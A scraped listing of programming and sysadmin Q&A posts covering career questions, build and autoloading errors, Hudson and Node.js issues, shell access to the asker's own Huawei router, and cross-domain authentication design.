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• What does N years of experience with a language really mean?

  - by marcgg

  I've been looking at jobs descriptions since I'm graduating soon and looking for a job and what's always coming back - I'm not teaching you anything - is the "N years of experience in this language". It has been discussed in this question that if you work professionally with let's say Ruby for 2 years, but during these two years you also did some C# and PHP and were actually coding in Ruby 50% of the time. Do you say you have 1 year of experience in Ruby? 2 years? Another issue that hasn't been reviewed in the other post is for "non-professional experience". I'll give you a personal example: I've been working with Ruby on Rails since 2004 while at school. I did a lot of personal projects and school projects using this technology. I also used Rails in 2 6-month internships. Do I have 5 years of Rails experience (2004-now)? Do I have 1 year(2 internships)? Do I have nothing? I feel like I don't deserve the credit for 5 years, because the first years I wasn't working a lot with rails, but since last year I launched some websites and invested myself a lot in this technology and just saying 1 year doesn't really reflect how much I know the technology... Another example: I Learned C++ at school and did 1 big project with it (2-3 month of work and a semester of classes). I never used it in a company but I'd be able to be productive fairly quickly if I had to work on a C++ project and I have a good grasp of the concepts. Do I have no experience? 3 months? 6 months? ... something else? What I'm really trying to do is to find a way to present my skill set in a way that is compliant to what recruiters expect. I also don't want to end up at an interview that would go something like this... Recruiter (finding out the horrible truth): Oh but you said that you had 2 years of experience with this when you have none! / slaps me in the face / Me (in pain): Oh! The irony! Recruiter (yelling): Get out of my office / calls security, punches me in the throat /

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• How hard programming is? Really. [closed]

  - by Bubba88

  Hi! The question is about your perception of programming activity. How hard/exacting this task is? There is much buzz about programming nowadays, people say that programmers are smart, very technical and abstract at a time, know much about world, psychology etc.. They say, that programmers got really powerful brain thing, cause there is much to keep in consideration simultaneously again with much information folded into each other associatively (up 10 levels of folding they say))) Still, there are some terms to specify at our own.. So that is the question: What do you think about programming in general? Is it hard? Is it 'for everyone' or for the particular kind of people only? How much non-CS background do you need to program (just to program, really; enterprise applications for example)? How long is the learning curve? (again, for programming in general) And another bunch of random questions: - If you were not to like/love programming, would that be a serious trouble bothering your current employment? - If you were to start from the beginning, would you chose that direction this time? - What other areas (jobs or maybe hobbies) are comparable to programming in the way they can explode someone's lovely brain? - Is 'non turing-complete programming' (SQL, XML, etc.) comparable to what we do or is it really way easier, less requiring, cheap and akin to cooking :)? Well, the essence is: How would you describe programming activity WRT to its difficulty? Or, on the other hand: Did you ever catch yourself thinking at some point: OMG, it's sooo hard! I don't know how would I ever program, even carried away this way and doing programming just for fun? It's very interesting to know your opinion, your'e the programmers after all. I mean much people must be exaggerating/speculating about the thing they do not really know about. But that musn't be the case here on SO :) P.S.: I'll try my best to update this post later, and you please edit it too. At least I'll get decent English in my question text :)

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• Reliable and fast way to convert a zillion ODT files in PDF?

  - by Marco Mariani

  I need to pre-produce a million or two PDF files from a simple template (a few pages and tables) with embedded fonts. Usually, I would stay low level in a case like this, and compose everything with a library like ReportLab, but I joined late in the project. Currently, I have a template.odt and use markers in the content.xml files to fill with data from a DB. I can smoothly create the ODT files, they always look rigth. For the ODT to PDF conversion, I'm using openoffice in server mode (and PyODConverter w/ named pipe), but it's not very reliable: in a batch of documents, there is eventually a point after which all the processed files are converted into garbage (wrong fonts and letters sprawled all over the page). Problem is not predictably reproducible (does not depend on the data), happens in OOo 2.3 and 3.2, in Ubuntu, XP, Server 2003 and Windows 7. My Heisenbug detector is ticking. I tried to reduce the size of batches and restarting OOo after each one; still, a small percentage of the documents are messed up. Of course I'll write about this on the Ooo mailing lists, but in the meanwhile, I have a delivery and lost too much time already. Where do I go? Completely avoid the ODT format and go for another template system. Suggestions? Anything that takes a few seconds to run is way too slow. OOo takes around a second and it sums to 15 days of processing time. I had to write a program for clustering the jobs over several clients. Keep the format but go for another tool/program for the conversion. Which one? There are many apps in the shareware or commercial repositories for windows, but trying each one is a daunting task. Some are too slow, some cannot be run in batch without buying it first, some cannot work from command line, etc. Open source tools tend not to reinvent the wheel and often depend on openoffice. Converting to an intermediate .DOC format could help to avoid the OOo bug, but it would double the processing time and complicate a task that is already too hairy. Try to produce the PDFs twice and compare them, discarding the whole batch if there's something wrong. Although the documents look equal, I know of no way to compare the binary content. Restart OOo after processing each document. it would take a lot more time to produce them it would lower the percentage of the wrong files, and make it very hard to identify them. Go for ReportLab and recreate the pages programmatically. This is the approach I'm going to try in a few minutes. Learn to properly format bulleted lists Thanks a lot.

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• Do you feel underappreciated or resent the geek/nerd stigma?

  - by dotnetdev

  At work we have a piece of A4 paper with the number of everyone in the office. The structure of this document is laid out in rectangles, by department. I work for the department that does all the technical stuff. That includes support—bear in mind that the support staff isn't educated in IT but just has experience in PC maintenance and providing support to a system we resell but don't have source code access to, project manager, team leader, a network administrator, a product manager, and me, a programmer. Anyway, on this paper, we are labelled as nerds and geeks. I did take a little offence to this, as much as it is light hearted (but annoying and old) humour. I have a vivid image that a geek is someone who doesn't go out but codes all day. I code all day at home and at work (when I have something to code...), but I keep balance by going out. I don't know why it is only people who work with computers that get such a stigma. No other profession really gets the same stigma—skilled, technical, or whatever. An account manager (and this is hardly a skilled job) says, "Perhaps [MY NAME HERE] could write some geeky code tomorrow to add this functionality to the website." It is funny how I get such an unfair stigma but I am so pivotal. In fact, if it wasn't for me, the company would have nothing to sell so the account managers would be redundant! I make systems, they get sold, and this is what pays the wages. It's funny how the account managers get a commission for how many systems they sell, or manage to make clients resubscribe to. Yet I built the thing in the first place! On top of that, my brother says all I do is type stuff on a keyboard all day. Surely if I did, I'd be typing at my normal typing speed of 100wpm+ as if I am writing a blog entry. Instead, I plan as I code along on the fly if commercial pressures and time prohibit proper planning. I never type as if I'm writing normal English. There is more to our jobs than just typing code. And my brother is a pipe fitter with no formal qualifications in his name. I could easily, and perhaps more justifiably, say he just manipulates a spanner or something. Does you feel underappreciated or that a geek/nerd stigma is undeserved or unfair?

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• Looking for an Open Source Project in need of help

  - by hvidgaard

  Hi StackOverflow! I'm a CS student on well on my way to graduate. I have had a difficult time of finding relevant student jobs (they seems to be taken merely hours after the notice gets on the board) , so instead I'm looking for an open source project in need of help. I'm aware that I should choose one that I use, but I'm not aware of any OS-project that I use that needs help. That's why I'm asking you. I don't have any deep experience, but I here are some of my biggest projects so far: BitTorrent-ish client in Python (a subset of BitTorrent) HTTP 1.1 webserver in Java Compiler from a subset of Java to run on JRE Flash-framework project to model an iPad look and feel (not to run actual iPad programs) complete with an API for programs. Complete MySQL database for a booking system, with departure and arrival times, so you could only book valid tickets (with a Java frontend). I know, Java and languages like AS3 and C# feels natural per se, Python, and have done a fair bit of hacking around in C, but I don't feel very comfortable with it. Mostly I'm afraid to make a fuckup because I have such a high degree of control. I would like to think I'm well aware of good software design practices, but in reality what I do is ask myself "would I like to use/maintain this?", and I love to refactor my code because I see optimizations. I love algorithms and to make them run in the best possible time. I don't have any preferred domain to work in, but I wouldn't mind it to be graphics or math heavy. Ideally I'm looking for a project in C++ to learn the in's and out's of it, but I'm well aware that I don't know that language very well. I would like to have a mentor-like figure until I'm confident enough to stand on my own, not one to review all my code (I'm sure someone will to start with anyway), but to ask questions about the project and language in question. I do have a wife and two children, so don't expect me to put in 10+ hours every week. In return I can work on my own, I strive to program modular and maintainable code. Know how to read an API, use Google, StackOverflow and online resources in general. If you have any questions, shoot. I'm looking forward to your suggestions.

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• MacPorts 1.8.2 fails to build db46 on Mac OS X 1.6.3

  - by themoch

  I'm trying to put a development environment on my Mac, and to do so I need to install several packages which require db46. When running sudo port install db46 I get the following error: ---> Computing dependencies for db46 ---> Fetching db46 ---> Attempting to fetch patch.4.6.21.1 from http://www.oracle.com/technology/products/berkeley-db/db/update/4.6.21/ ---> Attempting to fetch patch.4.6.21.2 from http://www.oracle.com/technology/products/berkeley-db/db/update/4.6.21/ ---> Attempting to fetch patch.4.6.21.3 from http://www.oracle.com/technology/products/berkeley-db/db/update/4.6.21/ ---> Attempting to fetch patch.4.6.21.4 from http://www.oracle.com/technology/products/berkeley-db/db/update/4.6.21/ ---> Attempting to fetch db-4.6.21.tar.gz from http://distfiles.macports.org/db4/4.6.21_6 ---> Verifying checksum(s) for db46 ---> Extracting db46 ---> Applying patches to db46 ---> Configuring db46 ---> Building db46 Error: Target org.macports.build returned: shell command " cd "/opt/local/var/macports/build/_opt_local_var_macports_sources_rsync.macports.org_release_ports_databases_db46/work/db-4.6.21/build_unix" && /usr/bin/make -j2 all " returned error 2 Command output: ../dist/../libdb_java/db_java_wrap.c:9464: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9487: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jlong' ../dist/../libdb_java/db_java_wrap.c:9509: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9532: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jlong' ../dist/../libdb_java/db_java_wrap.c:9563: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jint' ../dist/../libdb_java/db_java_wrap.c:9588: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jlong' ../dist/../libdb_java/db_java_wrap.c:9613: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jint' ../dist/../libdb_java/db_java_wrap.c:9638: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9666: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jlong' ../dist/../libdb_java/db_java_wrap.c:9691: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jlong' ../dist/../libdb_java/db_java_wrap.c:9716: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9739: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9771: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9796: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9819: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9842: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9867: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jobject' ../dist/../libdb_java/db_java_wrap.c:9899: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9920: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9943: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9966: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jstring' ../dist/../libdb_java/db_java_wrap.c:9991: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jint' ../dist/../libdb_java/db_java_wrap.c:10010: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:10046: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:10071: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' make: *** [db_java_wrap.lo] Error 1 make: *** Waiting for unfinished jobs.... Note: Some input files use unchecked or unsafe operations. Note: Recompile with -Xlint:unchecked for details. cd ./classes && jar cf ../db.jar ./com/sleepycat Error: Status 1 encountered during processing. I have removed my /usr/local folder completely and it does not seem to help.

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• Macports 1.8.2 fails to build db46 on os x 1.6.3

  - by themoch

  i'm trying to put a dev environment on my mac, and to do so i need to install several packages which require db46 when running sudo port install db46 i get the following error: ---> Computing dependencies for db46 ---> Fetching db46 ---> Attempting to fetch patch.4.6.21.1 from http://www.oracle.com/technology/products/berkeley-db/db/update/4.6.21/ ---> Attempting to fetch patch.4.6.21.2 from http://www.oracle.com/technology/products/berkeley-db/db/update/4.6.21/ ---> Attempting to fetch patch.4.6.21.3 from http://www.oracle.com/technology/products/berkeley-db/db/update/4.6.21/ ---> Attempting to fetch patch.4.6.21.4 from http://www.oracle.com/technology/products/berkeley-db/db/update/4.6.21/ ---> Attempting to fetch db-4.6.21.tar.gz from http://distfiles.macports.org/db4/4.6.21_6 ---> Verifying checksum(s) for db46 ---> Extracting db46 ---> Applying patches to db46 ---> Configuring db46 ---> Building db46 Error: Target org.macports.build returned: shell command " cd "/opt/local/var/macports/build/_opt_local_var_macports_sources_rsync.macports.org_release_ports_databases_db46/work/db-4.6.21/build_unix" && /usr/bin/make -j2 all " returned error 2 Command output: ../dist/../libdb_java/db_java_wrap.c:9464: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9487: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jlong' ../dist/../libdb_java/db_java_wrap.c:9509: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9532: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jlong' ../dist/../libdb_java/db_java_wrap.c:9563: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jint' ../dist/../libdb_java/db_java_wrap.c:9588: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jlong' ../dist/../libdb_java/db_java_wrap.c:9613: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jint' ../dist/../libdb_java/db_java_wrap.c:9638: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9666: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jlong' ../dist/../libdb_java/db_java_wrap.c:9691: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jlong' ../dist/../libdb_java/db_java_wrap.c:9716: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9739: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9771: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9796: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9819: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9842: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9867: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jobject' ../dist/../libdb_java/db_java_wrap.c:9899: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9920: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9943: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:9966: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jstring' ../dist/../libdb_java/db_java_wrap.c:9991: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'jint' ../dist/../libdb_java/db_java_wrap.c:10010: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:10046: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' ../dist/../libdb_java/db_java_wrap.c:10071: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'void' make: *** [db_java_wrap.lo] Error 1 make: *** Waiting for unfinished jobs.... Note: Some input files use unchecked or unsafe operations. Note: Recompile with -Xlint:unchecked for details. cd ./classes && jar cf ../db.jar ./com/sleepycat Error: Status 1 encountered during processing. i have removed my /usr/local folder completely and it does not seem to help

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• ZF-Autoloader not working in UnitTests on Ubuntu

  - by Sam

  i got a problem regarding Unit-testing a Zend-Framework application under Ubuntu 12.04. The project-structure is a default zend application whereas the models are defined as the following ./application ./models ./DbTable ./ProjectStatus.php (Application_Model_DbTable_ProjectStatus) ./Mappers ./ProjectStatus.php (Application_Model_Mapper_ProjectStatus) ./ProjectStatus.php (Application_Model_ProjectStatus) The Problem here is with the Zend-specific autoloading. The naming convention here appears that the folder Mappers loads all classes with _Mapper but not _Mappers. This is some internal Zend behavior which is fine so far. On my windows machine the phpunit runs without any Problems, trying to initiate all those classes. On my Ubuntu machine however with jenkins running on it, phpunit fails to find the appropriate classes giving me the following error Fatal error: Class 'Application_Model_Mapper_ProjectStatus' not found in /var/lib/jenkins/jobs/PAM/workspace/tests/application/models/Mapper/ProjectStatusTest.php on line 39 The error appears to really be that the Zend-Autoloader doesn't load from the ubuntu machine, but i can't figure out how or why this works. The question remains of why this is. I think i've double checked every point of contact with the zend autoloading stuff, but i just can't figure this out. I'll paste the - from my point of view relevant snippets - and hope someone of you has any insight to this. Jenkins Snippet for PHPUnit <target name="phpunit" description="Run unit tests with PHPUnit"> <exec executable="phpunit" failonerror="true"> <arg line="--configuration '${basedir}/tests/phpunit.xml' --coverage-clover '${basedir}/build/logs/clover.xml' --coverage-html '${basedir}/build/coverage/.' --log-junit '${basedir}/build/logs/junit.xml'" /> </exec> </target> ./tests/phpunit.xml <phpunit bootstrap="./bootstrap.php"> ... this shouldn't be of relevance ... </phpunit> ./tests/bootstrap.php <?php // Define path to application directory defined('APPLICATION_PATH') || define('APPLICATION_PATH', realpath(dirname(__FILE__) . '/../application')); // Define application environment defined('APPLICATION_ENV') || define('APPLICATION_ENV', (getenv('APPLICATION_ENV') ? getenv('APPLICATION_ENV') : 'testing')); // Ensure library/ is on include_path set_include_path(implode(PATH_SEPARATOR, array( realpath(APPLICATION_PATH . '/../library'), get_include_path(), ))); require_once 'Zend/Loader/Autoloader.php'; Zend_Loader_Autoloader::getInstance(); Any help will be appreciated.

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• Getting up to speed on modern architecture

  - by Matt Thrower

  Hi, I don't have any formal qualifications in computer science, rather I taught myself classic ASP back in the days of the dotcom boom and managed to get myself a job and my career developed from there. I was a confident and, I think, pretty good programmer in ASP 3 but as others have observed one of the problems with classic ASP was that it did a very good job of hiding the nitty-gritty of http so you could become quite competent as a programmer on the basis of relatively poor understanding of the technology you were working with. When I changed on to .NET at first I treated it like classic ASP, developing stand-alone applications as individual websites simply because I didn't know any better at the time. I moved jobs at this point and spent the next several years working on a single site whose architecture relied heavily on custom objects: in other words I gained a lot of experience working with .NET as a middle-tier development tool using a quite old-fashioned approach to OO design along the lines of the classic "car" class example that's so often used to teach OO. Breaking down programs into blocks of functionality and basing your classes and methods around that. Although we worked under an Agile approach to manage the work the whole setup was classic client/server stuff. That suited me and I gradually got to grips with .NET and started using it far more in the manner that it should be, and I began to see the power inherent in the technology and precisely why it was so much better than good old ASP 3. In my latest job I have found myself suddenly dropped in at the deep end with two quite young, skilled and very cutting-edge programmers. They've built a site architecture which is modelling along a lot of stuff which is new to me and which, in truth I'm having a lot of trouble understanding. The application is built on a cloud computing model with multi-tenancy and the architecture is all loosely coupled using a lot of interfaces, factories and the like. They use nHibernate a lot too. Shortly after I joined, both these guys left and I'm now supposedly the senior developer on a system whose technology and architecture I don't really understand and I have no-one to ask questions of. Except you, the internet. Frankly I feel like I've been pitched in at the deep end and I'm sinking. I'm not sure if this is because I lack the educational background to understand this stuff, if I'm simply not mathematically minded enough for modern computing (my maths was never great - my approach to design is often to simply debug until it works, then refactor until it looks neat), or whether I've simply been presented with too much of too radical a nature at once. But the only way to find out which it is is to try and learn it. So can anyone suggest some good places to start? Good books, tutorials or blogs? I've found a lot of internet material simply presupposes a level of understanding that I just don't have. Your advice is much appreciated. Help a middle-aged, stuck in the mud developer get enthusastic again! Please!

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• Node.js Cron Job Messing with Date Object

  - by PazoozaTest Pazman

  I'm trying to schedule several cron jobs to generate serial numbers for different entities within my web app. However I am running into this problem, when I'm looping each table, it says it has something to do with date.js. I'm not doing anything with a date object ? Not at this stage anyway. A couple of guesses is that the cron object is doing a date thing in its code and is referencing date.js. I'm using date.js to get access to things like ISO date. for (t in config.generatorTables) { console.log("t = " + config.generatorTables[t] + "\n\n"); var ts3 = azure.createTableService(); var jobSerialNumbers = new cronJob({ //cronTime: '*/' + rndNumber + ' * * * * *', cronTime: '*/1 * * * * *', onTick: function () { //console.log(new Date() + " calling topUpSerialNumbers \n\n"); manageSerialNumbers.topUpSerialNumbers(config.generatorTables[t], function () { }); }, start: false, timeZone: "America/Los_Angeles" }); ts3.createTableIfNotExists(config.generatorTables[t], function (error) { if (error === null) { var query = azure.TableQuery .select() .from(config.generatorTables[t]) .where('PartitionKey eq ?', '0') ts3.queryEntities(query, function (error, serialNumberEntities) { if (error === null && serialNumberEntities.length == 0) { manageSerialNumbers.generateNewNumbers(config.maxNumber, config.serialNumberSize, config.generatorTables[t], function () { jobSerialNumbers.start(); }); } else jobSerialNumbers.start(); }); } }); } And this is the error message I'm getting when I examine the server.js.logs\0.txt file: C:\node\w\WebRole1\public\javascripts\date.js:56 onsole.log('isDST'); return this.toString().match(/(E|C|M|P)(S|D)T/)[2] == "D" ^ TypeError: Cannot read property '2' of null at Date.isDST (C:\node\w\WebRole1\public\javascripts\date.js:56:110) at Date.getTimezone (C:\node\w\WebRole1\public\javascripts\date.js:56:228) at Object._getNextDateFrom (C:\node\w\WebRole1\node_modules\cron\lib\cron.js:88:30) at Object.sendAt (C:\node\w\WebRole1\node_modules\cron\lib\cron.js:51:17) at Object.getTimeout (C:\node\w\WebRole1\node_modules\cron\lib\cron.js:58:30) at Object.start (C:\node\w\WebRole1\node_modules\cron\lib\cron.js:279:33) at C:\node\w\WebRole1\server.js:169:46 at Object.generateNewNumbers (C:\node\w\WebRole1\utils\manageSerialNumbers.js:106:5) at C:\node\w\WebRole1\server.js:168:45 at C:\node\w\WebRole1\node_modules\azure\lib\services\table\tableservice.js:485:7 I am using this line in my database.js file: require('../public/javascripts/date'); is that correct that I only have to do this once, because date.js is global? I.e. it has a bunch of prototypes (extensions) for the inbuilt date object. Within manageSerialNumbers.js I am just doing a callback, their is no code executing as I've commented it all out, but still receiving this error. Any help or advice would be appreciated.

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• Hudson on debian lenny

  - by Laurent

  Hello, I installed Hudson deamon on one server (running on debian lenny testing) some time ago. All was working until I perform an upgrade. At this time Hudson isn't accessible at port 8080 (which is the default port used). I have looked for iptables problems, however port 8080 is open in INPUT and OUTPUT. Configuration file in /etc/default/hudson seems okay, I haven't touch it. And if I do a ps aux | grep hudson, hudson deamon is running. Update 1: What is really strange for me is that in /var/log/hudson/hudson.log I get no error : [Winstone 2010/02/10 17:10:04] - Control thread shutdown successfully [Winstone 2010/02/10 17:10:04] - Winstone shutdown successfully Running from: /usr/share/hudson/hudson.war [Winstone 2010/02/10 17:10:43] - Beginning extraction from war file hudson home directory: /var/lib/hudson [Winstone 2010/02/10 17:10:44] - HTTP Listener started: port=8080 [Winstone 2010/02/10 17:10:44] - AJP13 Listener started: port=8009 [Winstone 2010/02/10 17:10:44] - Winstone Servlet Engine v0.9.10 running: controlPort=disabled 10 févr. 2010 17:10:44 hudson.model.Hudson$4 onAttained INFO: Started initialization 10 févr. 2010 17:10:44 hudson.model.Hudson$4 onAttained INFO: Listed all plugins 10 févr. 2010 17:10:44 hudson.model.Hudson$4 onAttained INFO: Prepared all plugins 10 févr. 2010 17:10:44 hudson.model.Hudson$4 onAttained INFO: Started all plugins 10 févr. 2010 17:10:46 hudson.model.Hudson$4 onAttained INFO: Loaded all jobs 10 févr. 2010 17:10:46 hudson.model.Hudson$4 onAttained INFO: Completed initialization 10 févr. 2010 17:10:47 org.springframework.context.support.AbstractApplicationContext prepareRefresh INFO: Refreshing org.springframework.web.context.support.StaticWebApplicationContext@caa559d: display name [Root WebApplicationContext]; startup date [Wed Feb 10 17:10:47 CET 2010]; root of context hierarchy 10 févr. 2010 17:10:47 org.springframework.context.support.AbstractApplicationContext obtainFreshBeanFactory INFO: Bean factory for application context [org.springframework.web.context.support.StaticWebApplicationContext@caa559d]: org.springframework.beans.factory.support.DefaultListableBeanFactory@40d2f5f1 10 févr. 2010 17:10:47 org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons INFO: Pre-instantiating singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory@40d2f5f1: defining beans [daoAuthenticationProvider,authenticationManager,userDetailsService]; root of factory hierarchy 10 févr. 2010 17:10:47 org.springframework.context.support.AbstractApplicationContext prepareRefresh INFO: Refreshing org.springframework.web.context.support.StaticWebApplicationContext@4d88a387: display name [Root WebApplicationContext]; startup date [Wed Feb 10 17:10:47 CET 2010]; root of context hierarchy 10 févr. 2010 17:10:47 org.springframework.context.support.AbstractApplicationContext obtainFreshBeanFactory INFO: Bean factory for application context [org.springframework.web.context.support.StaticWebApplicationContext@4d88a387]: org.springframework.beans.factory.support.DefaultListableBeanFactory@6153e0c0 10 févr. 2010 17:10:47 org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons INFO: Pre-instantiating singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory@6153e0c0: defining beans [filter,legacy]; root of factory hierarchy 10 févr. 2010 17:10:47 hudson.TcpSlaveAgentListener <init> INFO: JNLP slave agent listener started on TCP port 59750 Update 2: What I get with lsof -i -n -P | grep hudson: java 28985 hudson 97u IPv6 2002707 0t0 TCP *:8080 (LISTEN) java 28985 hudson 99u IPv6 2002708 0t0 TCP *:8009 (LISTEN) java 28985 hudson 147u IPv6 2002711 0t0 TCP *:59750 (LISTEN) java 28985 hudson 150u IPv6 2002712 0t0 UDP *:33848 I don't know what I can verify. Does someone has an idea in order to help me to resolve this problem ?

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• Huawei b153 limit of devices

  - by bdecaf

  I set up my home network all through this 3G wifi router. Problem is it only allows 5 devices to connect. That's not much especially if a wifi printer and gaming consoles keep hogging these slots. On the other hand I don't see the point on blocking these devices. They are (should) not doing anything online just intern in my network. The documentation I can find is surpirisingly unhelpful and focuses how to plug the device in a power socket. So what would be my options. Notes: I have already been able to get a shell on the device using ssh. It's running some Busybox. But I fail to find the how and where this limit is enforced/created. Notes 2: Specifically my device is a 3WebCube - unfortunately not specifically marked with the Huawei Model number. Successes so far After enabling ssh in the options I can login: ssh -T [email protected] [email protected]'s password: ------------------------------- -----Welcome to ATP Cli------ ------------------------------- unfortunately because of this -T - the tab key does not work for autocomplete and all inputted commands will be echoed. Also no history with arrow keys. ATP interface this custom interface is not very useful: ATP>help help Welcome to ATP command line tool. If any question, please input "?" at the end of command. ATP>? ? cls debug help save ? exit ATP>save? save? Command failed. ATP>save ? save ? ATP>debug ? debug ? display set trace ? Shell BUT undocumented - I somehow found on a auto translated chinese website - all you need to do is input sh ATP>sh sh BusyBox vv1.9.1 (2011-03-27 11:59:11 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. # builtin commands # help Built-in commands: ------------------- . : alias bg break cd chdir command continue eval exec exit export false fg getopts hash help jobs kill let local pwd read readonly return set shift source times trap true type ulimit umask unalias unset wait shows standard unix structure: # ls / var tmp proc linuxrc init etc bin usr sbin mnt lib html dev in /bin # ls /bin zebra strace ppps ln echo cat wscd startbsp pppc klog ebtables busybox wlancmd sshd ping kill dns brctl web sntp netstat iwpriv dhcps auth usbdiagd sms mount iwcontrol dhcpc atserver upnp sleep mknod iptables date atcmd upg siproxd mkdir ipcheck cp at umount sh mini_upnpd ip console ash test_at rm mic igmpproxy cms telnetd ripd ls ethcmd cmgr swapdev ps log equipcmd cli in /sbin # ls /sbin vconfig reboot insmod ifconfig arp route poweroff init halt using tftp after installing tftp on my desktop I was able to send files with tftp -s -l curcfg.xml 192.168.1.103 and to download onto the huawei with tftp -g -r curcfg.xml 192.168.1.103 I think I'll need that - because I don't see any editor installed. readout stuff (still playing around where I would get interesting info) For confirmation of hardware: # cat /var/log/modem_hardware_name ^HWVER:"WL1B153M001"# # cat /var/log/modem_software_name 1096.11.03.02.107 # cat /var/log/product_name B153

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• How do you handle authentication across domains?

  - by William Ratcliff

  I'm trying to save users of our services from having to have multiple accounts/passwords. I'm in a large organization and there's one group that handles part of user authentication for users who are from outside the facility (primarily for administrative functions). They store a secure cookie to establish a session and communicate only via HTTPS via the browser. Sessions expire either through: 1) explicit logout of the user 2) Inactivity 3) Browser closes My team is trying to write a web application to help users analyze data that they've taken (or are currently taking) while at our facility. We need to determine if a user is 1) authenticated 2) Some identifier for that user so we can store state for them (what analysis they are working on, etc.) So, the problem is how do you authenticate across domains (the authentication server for the other application lives in a border region between public and private--we will live in the public region). We have come up with some scenarios and I'd like advice about what is best practice, or if there is one we haven't considered. Let's start with the case where the user is authenticated with the authentication server. 1) The authentication server leaves a public cookie in the browser with their primary key for a user. If this is deemed sensitive, they encrypt it on their server and we have the key to decrypt it on our server. When the user visits our site, we check for this public cookie. We extract the user_id and use a public api for the authentication server to request if the user is logged in. If they are, they send us a response with: response={ userid :we can then map this to our own user ids. If necessary, we can request additional information such as email-address/display name once (to notify them if long running jobs are done, or to share results with other people, like with google_docs). account_is_active:Make sure that the account is still valid session_is_active: Is their session still active? If we query this for a valid user, this will have a side effect that we will reset the last_time_session_activated value and thus prolong their session with the authentication server last_time_session_activated: let us know how much time they have left ip_address_session_started_from:make sure the person at our site is coming from the same ip as they started the session at } Given this response, we either accept them as authenticated and move on with our app, or redirect them to the login page for the authentication server (question: if we give an encrypted portion of the response (signed by us) with the page to redirect them to, do we open any gaping security holes in the authentication server)? The flaw that we've found with this is that if the user visits evilsite.com and they look at the session cookie and send a query to the public api of the authentication server, they can keep the session alive and if our original user leaves the machine without logging out, then the next user will be able to access their session (this was possible before, but having the session alive eternally makes this worse). 2) The authentication server redirects all requests made to our domain to us and we send responses back through them to the user. Essentially, they act as a proxy. The advantage of this is that we can handshake with the authentication server, so it's safe to be trusted with the email address/name of the user and they don't have to reenter it So, if the user tries to go to: authentication_site/mysite_page1 they are redirected to mysite. Which would you choose, or is there a better way? The goal is to minimize the "Yet Another Password/Yet another username" problem... Thanks!!!!

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• Recommendations for distributed processing/distributed storage systems

  - by Eddie

